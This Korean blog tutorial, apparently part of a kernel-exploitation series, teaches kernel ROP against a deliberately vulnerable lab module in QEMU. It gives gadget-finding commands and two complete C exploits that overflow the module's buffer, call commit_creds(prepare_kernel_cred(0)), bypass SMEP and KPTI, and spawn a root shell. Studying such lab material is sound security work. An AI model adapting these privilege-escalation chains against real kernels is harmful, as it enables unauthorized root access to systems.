1. 소개
커널의 보호기법 중 SMEP이 걸려있는 경우 유저 공간의 코드를 실행하는 것이 불가능해진다. 유저랜드의 NX 보호기법을 우회하기 위해서 RTL, ROP 가 존재 하듯, SMEP을 우회하기 위해서는 KROP(Kernel ROP)라고 불리는 기법이 필요하다. 기법은 유저랜드의 ROP와 크게 다르지 않으며 유저랜드 ROP와 크게 다르지 않기 때문에 잡다한 설명은 생략하고 진행할 예정이다.
Main Topic
- SMEP, SMAP
- KROP
- KPTI
2. Extract-Vmlinux
ROP gadget을 찾기 위해선 커널 공간의 이미지가 필요하다. ROPgadget 명령을 이용해서 바이너리의 가젯을 찾았듯이 커널의 바이너리가 필요한 것이다.
이것은 다행히도 extract-vmlinux라는 이름의 스크립트를 사용하면 쉽게 추출할 수 있다.
https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux
#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland <dick@streefland.net>
#
# (c) 2011 Corentin Chary <corentin.chary@gmail.com>
#
# ----------------------------------------------------------------------
check_vmlinux()
{
# Use readelf to check if it's a valid ELF
# TODO: find a better to way to check that it's really vmlinux
# and not just an elf
readelf -h $1 > /dev/null 2>&1 || return 1
cat $1
exit 0
}
try_decompress()
{
# The obscure use of the "tr" filter is to work around older versions of
# "grep" that report the byte offset of the line instead of the pattern.
# Try to find the header ($1) and decompress from here
for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
do
pos=${pos%%:*}
tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
check_vmlinux $tmp
done
}
# Check invocation:
me=${0##*/}
img=$1
if [ $# -ne 1 -o ! -s "$img" ]
then
echo "Usage: $me <kernel-image>" >&2
exit 2
fi
# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0
# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh' xy bunzip2
try_decompress '\135\0\0\0' xxx unlzma
try_decompress '\211\114\132' xy 'lzop -d'
try_decompress '\002!L\030' xxx 'lz4 -d'
try_decompress '(\265/\375' xxx unzstd
# Finally check for uncompressed images or objects:
check_vmlinux $img
# Bail out:
echo "$me: Cannot find vmlinux." >&2
위 스크립트를 extract-vmlinux 이름으로 저장하고 아래 명령으로 실행하면 된다.
# ./extract-vmlinux ./bzImage > vmlinux
이후 다음과 같이 가젯을 찾을 수 있다.
# ROPgadget --binary ./vmlinux | grep "pop rdi ; ret"
...
0xffffffff8127bbdc : pop rdi ; ret
...
iretq 명령은 가젯 툴로 찾을 수 없기 때문에 objdump를 이용하여 찾을 수 있다.
root@LAPTOP-IAMFG96H:/kernel/LK01/qemu# objdump -S -M intel ./vmlinux | grep iretq
ffffffff810202af: 48 cf iretq
ffffffff810206a1: 48 cf iretq
ffffffff8102f032: 48 cf iretq
...
가젯을 찾을 때 중요한 점은 KASLR이 걸려있을 경우 하위 3바이트 주소를 베이스 주소에 더하여 사용하는 상대 주소를 써야한다는 것과 커널 공간의 주소가 맞는지 확인하는것이 중요하다.
3. Exploit
위에서 찾은 가젯을 토대로 ROP Chain 코드를 짤때는 개인이 편한 방식으로 짜면 된다. 최종적인 Exploit 코드는 아래와 같다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
unsigned long user_cs, user_ss, user_rsp, user_rflags;
#define prepare_kernel_cred 0xffffffff8106e240
#define commit_creds 0xffffffff8106e390
#define prdi 0xffffffff8127bbdc
#define prcx 0xffffffff8132cdd3
#define mrdi_rax 0xffffffff8160c96b
#define swapgs 0xffffffff8160bf7e
#define iretq 0xffffffff810202af
static void win() {
char *argv[] = { "/bin/sh", NULL };
char *evnp[] = { NULL };
puts("[+] win!");
execve("/bin/sh", argv, evnp);
}
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
: "memory");
}
int main() {
save_state();
int fd = open("/dev/holstein", 2);
char buf[0x500];
memset(buf, 'A', 0x408);
unsigned long *payload = (unsigned long*)&buf[0x408];
*payload++ = prdi;
*payload++ = 0;
*payload++ = prepare_kernel_cred;
*payload++ = prcx;
*payload++ = 0;
*payload++ = mrdi_rax;
*payload++ = commit_creds;
*payload++ = swapgs;
*payload++ = iretq;
*payload++ = (unsigned long*)&win;
*payload++ = user_cs;
*payload++ = user_rflags;
*payload++ = user_rsp;
*payload++ = user_ss;
write(fd, buf, (void*)payload - (void*)buf);
close(fd);
return 0;
}
SMEP이 걸린 환경을 만들기 위해서 qemu 실행 스크립트를 아래와 같이 바꿔준다.
#!/bin/sh
gcc exploit.c -o exploit --static
mv exploit root
cd root; find . -print0 | cpio -o --null --format=newc > ../debugfs.cpio
cd ../
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti nokaslr" \
-no-reboot \
-cpu kvm64,+smep \
-gdb tcp::1234 \
-smp 1 \
-monitor /dev/null \
-initrd debugfs.cpio \
-net nic,model=virtio \
-net user
qemu에서 exploit 코드 실행시 다음과 같이 권한 상승에 성공한 것을 볼 수 있다.
4. KPTI 우회
이번에는 KPTI까지 활성화 된 상태에서 우회하는 방법에 대해 알아보자.
KPTI, SMEP, SMAP 을 모두 활성화 해주고 qemu를 실행 해보면
위와 같이 Segmentation fault 오류와 함께 정상적으로 코드가 실행이 되지 않는것을 볼 수 있다.
이런 상황에서는 CR3 레지스터 조작을 통해 KPTI를 우회해야 하는데, 이와 관련된 가젯은 swapgs_restore_regs_and_return_to_usermode 라는 대표적인 매크로가 존재한다.
POP_REGS pop_rdi=0
/*
* The stack is now user RDI, orig_ax, RIP, CS, EFLAGS, RSP, SS.
* Save old stack pointer and switch to trampoline stack.
*/
movq %rsp, %rdi
movq PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp
UNWIND_HINT_EMPTY
/* Copy the IRET frame to the trampoline stack. */
pushq 6*8(%rdi) /* SS */
pushq 5*8(%rdi) /* RSP */
pushq 4*8(%rdi) /* EFLAGS */
pushq 3*8(%rdi) /* CS */
pushq 2*8(%rdi) /* RIP */
/* Push user RDI on the trampoline stack. */
pushq (%rdi)
/*
* We are on the trampoline stack. All regs except RDI are live.
* We can do future final exit work right here.
*/
STACKLEAK_ERASE_NOCLOBBER
SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi
/* Restore RDI. */
popq %rdi
SWAPGS
INTERRUPT_RETURN
코드는 위와 같이 구성되어 있으며 주목해야할 부분은 SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi 이다.
매크로들이 많기 때문에 매크로의 주소를 찾고 디스어셈블 하여 자세히 알아보자, 매크로 위치는 아래와 같이 찾을 수 있다.
주소를 찾았으니 gdb로 attach 하여 디스어셈블 해보자
위 함수 부분들을 보아 0xffffffff81800e46의 주소부터 CR3 레지스터에 대한 조작이 이루어지는 것을 확인할 수 있다.
하지만 CR3 레지스터가 조작되면 iretq 이후 Kernel 단에 있는 스택의 데이터를 가져와 복구하기란 불가능 하다. 이때, 좀더 윗부분의 코드를 찾아보면
rsp를 rdi에 옮기고 스택에 쌓는것을 볼 수 있다. 이후 진행에서 pop rax, pop rdi가 진행되고 swapgs, iretq가 실행되면서 성공적으로 rip, cs, rflags, rsp, ss를 설정할 수 있다. 이를 토대로 코드를 짜면 아래와 같다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
unsigned long user_cs, user_ss, user_rsp, user_rflags;
#define prepare_kernel_cred 0xffffffff8106e240
#define commit_creds 0xffffffff8106e390
#define prdi 0xffffffff8127bbdc
#define prcx 0xffffffff8132cdd3
#define mrdi_rax 0xffffffff8160c96b
#define swapgs 0xffffffff8160bf7e
#define iretq 0xffffffff810202af
#define return_to_usermode 0xffffffff81800e26
static void win() {
char *argv[] = { "/bin/sh", NULL };
char *evnp[] = { NULL };
puts("[+] win!");
execve("/bin/sh", argv, evnp);
}
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
: "memory");
}
int main() {
save_state();
int fd = open("/dev/holstein", 2);
char buf[0x500];
memset(buf, 'A', 0x408);
unsigned long *payload = (unsigned long*)&buf[0x408];
*payload++ = prdi;
*payload++ = 0;
*payload++ = prepare_kernel_cred;
*payload++ = prcx;
*payload++ = 0;
*payload++ = mrdi_rax;
*payload++ = commit_creds;
*payload++ = return_to_usermode;
*payload++ = 0xdeadbeef;
*payload++ = 0xdeadbeef;
*payload++ = (unsigned long*)&win;
*payload++ = user_cs;
*payload++ = user_rflags;
*payload++ = user_rsp;
*payload++ = user_ss;
write(fd, buf, (void*)payload - (void*)buf);
close(fd);
return 0;
}
위 코드를 컴파일하고 qemu에서 실행해보면 성공적으로 권한 상승이 진행된 것을 볼 수 있다.
5. 마치며
여기까지 kROP의 진행과 KPTI 보호기법의 우회 방법을 알아보았다. 다음 글에서는 KASLR의 우회를 다룰 예정이다.
'Kernel' 카테고리의 다른 글
[Kernel] Kernel Heap Use-After-Free (0) | 2024.08.08 |
---|---|
[Kernel] Kernel Heap Overflow (1) | 2024.06.04 |
[Kernel] Kernel Stack Overflow & Commit_creds (0) | 2024.02.18 |
[Kernel] Holstein Module (1) | 2024.02.12 |
[Kernel] 커널의 보호 기법 (1) | 2024.01.04 |